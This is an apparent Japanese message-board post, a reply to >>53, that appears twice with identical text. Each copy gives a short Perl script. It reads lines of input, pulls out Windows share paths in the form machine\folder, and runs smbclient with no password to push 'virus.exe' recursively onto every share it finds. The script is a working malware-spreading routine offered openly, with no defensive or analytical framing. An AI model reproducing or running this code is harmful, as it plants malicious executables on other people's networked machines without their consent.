09/08/26 23:03:13 p7NCW5nO
>>53
じゃあ Perl の部分だけインデントします。
while (<>) {
# "\\マシン名\\フォルダ名"を抜き出す
if (/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/) {
$h = $1;
$h =~ tr{\\}{/};
system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"");
}
}
09/08/26 23:03:13 p7NCW5nO
>>53
じゃあ Perl の部分だけインデントします。
while (<>) {
# "\\マシン名\\フォルダ名"を抜き出す
if (/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/) {
$h = $1;
$h =~ tr{\\}{/};
system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"");
}
}